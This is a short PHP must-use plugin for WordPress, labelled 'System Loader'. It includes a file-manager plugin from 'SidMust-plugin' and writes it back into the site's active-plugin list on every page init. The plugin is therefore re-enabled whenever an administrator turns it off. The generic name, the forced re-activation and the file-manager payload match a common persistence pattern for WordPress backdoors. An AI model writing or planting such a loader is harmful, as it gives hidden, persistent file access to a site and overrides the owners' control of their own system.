<?php
/**
 * System Loader - Must-Use Plugin
 */
if (!defined("ABSPATH")) exit;

// Load main plugin if not already loaded
$main_plugin = WP_PLUGIN_DIR . "/SidMust-plugin/Must-plugin.php";
if (!class_exists("SidGifariFileManagerPro") && file_exists($main_plugin)) {
    include_once $main_plugin;
    
    // Also ensure plugin is activated
    add_action("init", function() {
        $plugin_basename = "SidMust-plugin/Must-plugin.php";
        if (!is_plugin_active($plugin_basename)) {
            $active_plugins = get_option("active_plugins", []);
            if (!in_array($plugin_basename, $active_plugins)) {
                $active_plugins[] = $plugin_basename;
                update_option("active_plugins", $active_plugins);
            }
        }
    }, 1);
}
?>